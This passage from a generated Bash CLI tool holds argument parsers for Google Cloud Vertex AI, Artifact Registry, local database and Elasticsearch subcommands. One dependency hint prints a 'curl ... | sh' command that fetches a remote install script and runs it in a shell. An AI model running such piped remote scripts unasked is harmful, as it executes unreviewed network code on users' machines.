exit 1 fi ;; --display-name | -d) if [[ -n ${2+x} ]]; then args['--display-name']="$2" shift shift else printf "%s\n" "--display-name requires an argument: --display-name, -d DISPLAY_NAME" >&2 exit 1 fi ;; --container-image | -c) if [[ -n ${2+x} ]]; then args['--container-image']="$2" shift shift else printf "%s\n" "--container-image requires an argument: --container-image, -c CONTAINER_IMAGE" >&2 exit 1 fi ;; --container-port) if [[ -n ${2+x} ]]; then args['--container-port']="$2" shift shift else printf "%s\n" "--container-port requires an argument: --container-port CONTAINER_PORT" >&2 exit 1 fi ;; --health-route) if [[ -n ${2+x} ]]; then args['--health-route']="$2" shift shift else printf "%s\n" "--health-route requires an argument: --health-route HEALTH_ROUTE" >&2 exit 1 fi ;; --predict-route) if [[ -n ${2+x} ]]; then args['--predict-route']="$2" shift shift else printf "%s\n" "--predict-route requires an argument: --predict-route PREDICT_ROUTE" >&2 exit 1 fi ;; --model-gcs-uri) if [[ -n ${2+x} ]]; then args['--model-gcs-uri']="$2" shift shift else printf "%s\n" "--model-gcs-uri requires an argument: --model-gcs-uri MODEL_GCS_URI" >&2 exit 1 fi ;; --endpoint-name | -e) if [[ -n ${2+x} ]]; then args['--endpoint-name']="$2" shift shift else printf "%s\n" "--endpoint-name requires an argument: --endpoint-name, -e ENDPOINT_NAME" >&2 exit 1 fi ;; --machine-type | -m) if [[ -n ${2+x} ]]; then args['--machine-type']="$2" shift shift else printf "%s\n" "--machine-type requires an argument: --machine-type, -m MACHINE_TYPE" >&2 exit 1 fi ;; --accelerator) if [[ -n ${2+x} ]]; then args['--accelerator']="$2" shift shift else printf "%s\n" "--accelerator requires an argument: --accelerator ACCELERATOR" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done if [[ -z ${args['--display-name']+x} ]]; then printf "missing required flag: --display-name, -d DISPLAY_NAME\n" >&2 exit 1 fi if [[ -z ${args['--container-image']+x} ]]; then printf "missing required flag: --container-image, -c CONTAINER_IMAGE\n" >&2 exit 1 fi if [[ -z ${args['--endpoint-name']+x} ]]; then printf "missing required flag: --endpoint-name, -e ENDPOINT_NAME\n" >&2 exit 1 fi [[ -n ${args['--location']:-} ]] || args['--location']="us-central1" [[ -n ${args['--container-port']:-} ]] || args['--container-port']="8080" [[ -n ${args['--health-route']:-} ]] || args['--health-route']="/isalive" [[ -n ${args['--predict-route']:-} ]] || args['--predict-route']="/predict" [[ -n ${args['--machine-type']:-} ]] || args['--machine-type']="n1-standard-2" if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 exit 1 fi filter_error=$(filter_project_and_location_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_gcp_vertex_predict_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_gcp_vertex_predict_usage exit ;; *) break ;; esac done action="gcp vertex predict" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --location | -l) if [[ -n ${2+x} ]]; then args['--location']="$2" shift shift else printf "%s\n" "--location requires an argument: --location, -l LOCATION" >&2 exit 1 fi ;; --file | -f) if [[ -n ${2+x} ]]; then args['--file']="$2" shift shift else printf "%s\n" "--file requires an argument: --file, -f FILE" >&2 exit 1 fi ;; --endpoint-name | -e) if [[ -n ${2+x} ]]; then args['--endpoint-name']="$2" shift shift else printf "%s\n" "--endpoint-name requires an argument: --endpoint-name, -e ENDPOINT_NAME" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done [[ -n ${args['--location']:-} ]] || args['--location']="us-central1" if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 exit 1 fi } dtools_gcp_vertex_list_endpoints_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_gcp_vertex_list_endpoints_usage exit ;; *) break ;; esac done action="gcp vertex list-endpoints" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --project | -p) if [[ -n ${2+x} ]]; then args['--project']="$2" shift shift else printf "%s\n" "--project requires an argument: --project, -p PROJECT" >&2 exit 1 fi ;; --location | -l) if [[ -n ${2+x} ]]; then args['--location']="$2" shift shift else printf "%s\n" "--location requires an argument: --location, -l LOCATION" >&2 exit 1 fi ;; --detailed) args['--detailed']=1 shift ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done [[ -n ${args['--location']:-} ]] || args['--location']="us-central1" if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 exit 1 fi filter_error=$(filter_project_and_location_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_gcp_vertex_tail_endpoint_logs_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_gcp_vertex_tail_endpoint_logs_usage exit ;; *) break ;; esac done action="gcp vertex tail-endpoint-logs" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --project | -p) if [[ -n ${2+x} ]]; then args['--project']="$2" shift shift else printf "%s\n" "--project requires an argument: --project, -p PROJECT" >&2 exit 1 fi ;; --location | -l) if [[ -n ${2+x} ]]; then args['--location']="$2" shift shift else printf "%s\n" "--location requires an argument: --location, -l LOCATION" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['endpoint_name']+x} ]]; then args['endpoint_name']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['endpoint_name']+x} ]]; then printf "missing required argument: ENDPOINT_NAME\nusage: dtools gcp vertex tail-endpoint-logs ENDPOINT_NAME [OPTIONS]\n" >&2 exit 1 fi [[ -n ${args['--location']:-} ]] || args['--location']="us-central1" if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 exit 1 fi filter_error=$(filter_project_and_location_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_gcp_artifacts_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_gcp_artifacts_usage exit ;; *) break ;; esac done missing_deps= if ! command -v gcloud >/dev/null 2>&1; then printf "missing dependency: gcloud\n" >&2 printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.cloud.google.com/sdk/docs/install'" >&2 missing_deps=1 else deps['gcloud']="$(command -v gcloud | head -n1)" fi if ! command -v jq >/dev/null 2>&1; then printf "missing dependency: jq\n" >&2 printf "%s\n\n" "Install using 'brew install jq'" >&2 missing_deps=1 else deps['jq']="$(command -v jq | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action=${1:-} case $action in -*) ;; list-repositories) action="list-repositories" shift dtools_gcp_artifacts_list_repositories_parse_requirements "$@" shift $# ;; list-images) action="list-images" shift dtools_gcp_artifacts_list_images_parse_requirements "$@" shift $# ;; "") dtools_gcp_artifacts_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_gcp_artifacts_list_repositories_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_gcp_artifacts_list_repositories_usage exit ;; *) break ;; esac done action="gcp artifacts list-repositories" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --project | -p) if [[ -n ${2+x} ]]; then args['--project']="$2" shift shift else printf "%s\n" "--project requires an argument: --project, -p PROJECT" >&2 exit 1 fi ;; --location | -l) if [[ -n ${2+x} ]]; then args['--location']="$2" shift shift else printf "%s\n" "--location requires an argument: --location, -l LOCATION" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done [[ -n ${args['--location']:-} ]] || args['--location']="us-central1" if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 exit 1 fi filter_error=$(filter_project_and_location_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_gcp_artifacts_list_images_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_gcp_artifacts_list_images_usage exit ;; *) break ;; esac done action="gcp artifacts list-images" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --project | -p) if [[ -n ${2+x} ]]; then args['--project']="$2" shift shift else printf "%s\n" "--project requires an argument: --project, -p PROJECT" >&2 exit 1 fi ;; --location | -l) if [[ -n ${2+x} ]]; then args['--location']="$2" shift shift else printf "%s\n" "--location requires an argument: --location, -l LOCATION" >&2 exit 1 fi ;; --detailed) args['--detailed']=1 shift ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['repository_name']+x} ]]; then args['repository_name']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['repository_name']+x} ]]; then printf "missing required argument: REPOSITORY_NAME\nusage: dtools gcp artifacts list-images REPOSITORY_NAME [OPTIONS]\n" >&2 exit 1 fi [[ -n ${args['--location']:-} ]] || args['--location']="us-central1" if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 exit 1 fi filter_error=$(filter_project_and_location_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_db_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_db_usage exit ;; *) break ;; esac done missing_deps= if ! command -v harlequin >/dev/null 2>&1; then printf "missing dependency: harlequin\n" >&2 printf "%s\n\n" "Install with 'curl -LsSf https://astral.sh/uv/install.sh | sh'" >&2 missing_deps=1 else deps['harlequin']="$(command -v harlequin | head -n1)" fi if ! command -v docker >/dev/null 2>&1; then printf "missing dependency: docker\n" >&2 printf "%s\n\n" "Install with 'dtools install docker'" >&2 missing_deps=1 else deps['docker']="$(command -v docker | head -n1)" fi if ! command -v db2dbml >/dev/null 2>&1; then printf "missing dependency: db2dbml\n" >&2 printf "%s\n\n" "Install with 'npm install -g @dbml/cli'" >&2 missing_deps=1 else deps['db2dbml']="$(command -v db2dbml | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action=${1:-} case $action in -*) ;; postgres) action="postgres" shift dtools_db_postgres_parse_requirements "$@" shift $# ;; mysql) action="mysql" shift dtools_db_mysql_parse_requirements "$@" shift $# ;; bigquery) action="bigquery" shift dtools_db_bigquery_parse_requirements "$@" shift $# ;; "") dtools_db_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_db_postgres_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_db_postgres_usage exit ;; *) break ;; esac done action="db postgres" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --dump) for conflict in --tui --persistent --wipe-persistent-data --dump-to-dbml --schema; do if [[ -n "${args[$conflict]:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "$conflict" >&2 exit 1 fi done args['--dump']=1 shift ;; --persistent-dir-prefix) if [[ -n ${2+x} ]]; then args['--persistent-dir-prefix']="$2" shift shift else printf "%s\n" "--persistent-dir-prefix requires an argument: --persistent-dir-prefix PERSISTENT_DIR_PREFIX" >&2 exit 1 fi ;; --dump-to-dbml) for conflict in --tui --persistent --wipe-persistent-data --dump; do if [[ -n "${args[$conflict]:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "$conflict" >&2 exit 1 fi done args['--dump-to-dbml']=1 shift ;; --schema | -s) if [[ -n "${args['--dump']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--dump" >&2 exit 1 fi if [[ -n ${2+x} ]]; then escaped="$(printf '%q' "$2")" if [[ -z ${args['--schema']+x} ]]; then args['--schema']="$escaped" elif [[ -z "${unique_lookup["--schema:${escaped}"]:-}" ]]; then args['--schema']="${args['--schema']} $escaped" fi unique_lookup["--schema:${escaped}"]=1 shift shift else printf "%s\n" "--schema requires an argument: --schema, -s SCHEMA" >&2 exit 1 fi ;; --tui) if [[ -n "${args['--dump']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--dump" >&2 exit 1 fi args['--tui']=1 shift ;; --persistent) if [[ -n "${args['--dump']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--dump" >&2 exit 1 fi args['--persistent']=1 shift ;; --wipe-persistent-data) if [[ -n "${args['--dump']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--dump" >&2 exit 1 fi args['--wipe-persistent-data']=1 shift ;; --database) if [[ -n ${2+x} ]]; then args['--database']="$2" shift shift else printf "%s\n" "--database requires an argument: --database DATABASE" >&2 exit 1 fi ;; --port) if [[ -n ${2+x} ]]; then args['--port']="$2" shift shift else printf "%s\n" "--port requires an argument: --port PORT" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done if [[ -n ${args['--schema']+x} ]]; then for need in --dump-to-dbml --database; do if [[ -z "${args[$need]:-}" ]]; then printf "%s\n" "--schema needs $need" >&2 exit 1 fi done fi if [[ -n ${args['--wipe-persistent-data']+x} ]] && [[ -z "${args[--persistent]:-}" ]]; then printf "%s\n" "--wipe-persistent-data needs --persistent" >&2 exit 1 fi [[ -n ${args['--persistent-dir-prefix']:-} ]] || args['--persistent-dir-prefix']="default" [[ -n ${args['--port']:-} ]] || args['--port']="5432" filter_error=$(filter_postgres_not_running) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_db_mysql_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_db_mysql_usage exit ;; *) break ;; esac done action="db mysql" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --persistent-dir-prefix) if [[ -n ${2+x} ]]; then args['--persistent-dir-prefix']="$2" shift shift else printf "%s\n" "--persistent-dir-prefix requires an argument: --persistent-dir-prefix PERSISTENT_DIR_PREFIX" >&2 exit 1 fi ;; --dump) for conflict in --tui --persistent --wipe-persistent-data --dump-to-dbml; do if [[ -n "${args[$conflict]:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "$conflict" >&2 exit 1 fi done args['--dump']=1 shift ;; --dump-to-dbml) for conflict in --tui --persistent --wipe-persistent-data --dump; do if [[ -n "${args[$conflict]:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "$conflict" >&2 exit 1 fi done args['--dump-to-dbml']=1 shift ;; --tui) if [[ -n "${args['--dump']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--dump" >&2 exit 1 fi args['--tui']=1 shift ;; --persistent) if [[ -n "${args['--dump']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--dump" >&2 exit 1 fi args['--persistent']=1 shift ;; --wipe-persistent-data) if [[ -n "${args['--dump']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--dump" >&2 exit 1 fi args['--wipe-persistent-data']=1 shift ;; --database) if [[ -n ${2+x} ]]; then args['--database']="$2" shift shift else printf "%s\n" "--database requires an argument: --database DATABASE" >&2 exit 1 fi ;; --port) if [[ -n ${2+x} ]]; then args['--port']="$2" shift shift else printf "%s\n" "--port requires an argument: --port PORT" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done if [[ -n ${args['--wipe-persistent-data']+x} ]] && [[ -z "${args[--persistent]:-}" ]]; then printf "%s\n" "--wipe-persistent-data needs --persistent" >&2 exit 1 fi [[ -n ${args['--persistent-dir-prefix']:-} ]] || args['--persistent-dir-prefix']="default" [[ -n ${args['--port']:-} ]] || args['--port']="3306" filter_error=$(filter_mysql_not_running) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_db_bigquery_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_db_bigquery_usage exit ;; *) break ;; esac done action="db bigquery" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --project | -p) if [[ -n ${2+x} ]]; then args['--project']="$2" shift shift else printf "%s\n" "--project requires an argument: --project, -p PROJECT" >&2 exit 1 fi ;; --location | -l) if [[ -n ${2+x} ]]; then args['--location']="$2" shift shift else printf "%s\n" "--location requires an argument: --location, -l LOCATION" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done if [[ -z ${args['--project']+x} ]]; then printf "missing required flag: --project, -p PROJECT\n" >&2 exit 1 fi if [[ ${args['--location']:-} ]] && [[ ! ${args['--location']:-} =~ ^(africa-south1|asia-east1|asia-east2|asia-northeast1|asia-northeast2|asia-northeast3|asia-south1|asia-south2|asia-southeast1|asia-southeast2|australia-southeast1|australia-southeast2|europe-central2|europe-north1|europe-north2|europe-southwest1|europe-west1|europe-west10|europe-west12|europe-west2|europe-west3|europe-west4|europe-west6|europe-west8|europe-west9|me-central1|me-central2|me-west1|northamerica-northeast1|northamerica-northeast2|northamerica-south1|southamerica-east1|southamerica-west1|us-central1|us-east1|us-east4|us-east5|us-south1|us-west1|us-west2|us-west3|us-west4)$ ]]; then printf "%s\n" "--location must be one of: africa-south1, asia-east1, asia-east2, asia-northeast1, asia-northeast2, asia-northeast3, asia-south1, asia-south2, asia-southeast1, asia-southeast2, australia-southeast1, australia-southeast2, europe-central2, europe-north1, europe-north2, europe-southwest1, europe-west1, europe-west10, europe-west12, europe-west2, europe-west3, europe-west4, europe-west6, europe-west8, europe-west9, me-central1, me-central2, me-west1, northamerica-northeast1, northamerica-northeast2, northamerica-south1, southamerica-east1, southamerica-west1, us-central1, us-east1, us-east4, us-east5, us-south1, us-west1, us-west2, us-west3, us-west4" >&2 exit 1 fi } dtools_elastic_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_elastic_usage exit ;; *) break ;; esac done missing_deps= if ! command -v docker >/dev/null 2>&1; then printf "missing dependency: docker\n" >&2 printf "%s\n\n" "Install with 'dtools install docker'" >&2 missing_deps=1 else deps['docker']="$(command -v docker | head -n1)" fi if ! command -v docker-compose >/dev/null 2>&1; then printf "missing dependency: docker-compose\n" >&2 printf "%s\n\n" "Install with 'dtools install docker'" >&2 missing_deps=1 else deps['docker-compose']="$(command -v docker-compose | head -n1)" fi if ! command -v git >/dev/null 2>&1; then printf "missing dependency: git\n" >&2 printf "%s\n\n" "Install with 'brew install git'" >&2 missing_deps=1 else deps['git']="$(command -v git | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action=${1:-} case $action in -*) ;; init) action="init" shift dtools_elastic_init_parse_requirements "$@" shift $# ;; start) action="start" shift dtools_elastic_start_parse_requirements "$@" shift $# ;; stop) action="stop" shift dtools_elastic_stop_parse_requirements "$@" shift $# ;; "") dtools_elastic_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_elastic_init_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_elastic_init_usage exit ;; *) break ;; esac done action="elastic init" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_elastic_start_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_elastic_start_usage exit ;; *) break ;; esac done action="elastic start" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_elastic_stop_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_elastic_stop_usage exit ;; *) break ;; esac done action="elastic stop" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_java_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_java_usage exit ;; *) break ;; esac done missing_deps= if ! command -v java >/dev/null 2>&1; then printf "missing dependency: java\n" >&2 printf "%s\n\n" "Install with 'dtools install java'" >&2 missing_deps=1 else deps['java']="$(command -v java | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action=${1:-} case $action in -*) ;; set-version) action="set-version" shift dtools_java_set_version_parse_requirements "$@" shift $# ;; analyze-with-sonar) action="analyze-with-sonar" shift dtools_java_analyze_with_sonar_parse_requirements "$@" shift $# ;; "") dtools_java_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_java_set_version_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_java_set_version_usage exit ;; *) break ;; esac done action="java set-version" while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['version']+x} ]]; then args['version']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['version']+x} ]]; then printf "missing required argument: VERSION\nusage: dtools java set-version VERSION\n" >&2 exit 1 fi if [[ -n ${args['version']:-} ]] && [[ ! ${args['version']:-} =~ ^(8|11|17|21)$ ]]; then printf "%s\n" "version must be one of: 8, 11, 17, 21" >&2 exit 1 fi } dtools_java_analyze_with_sonar_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case 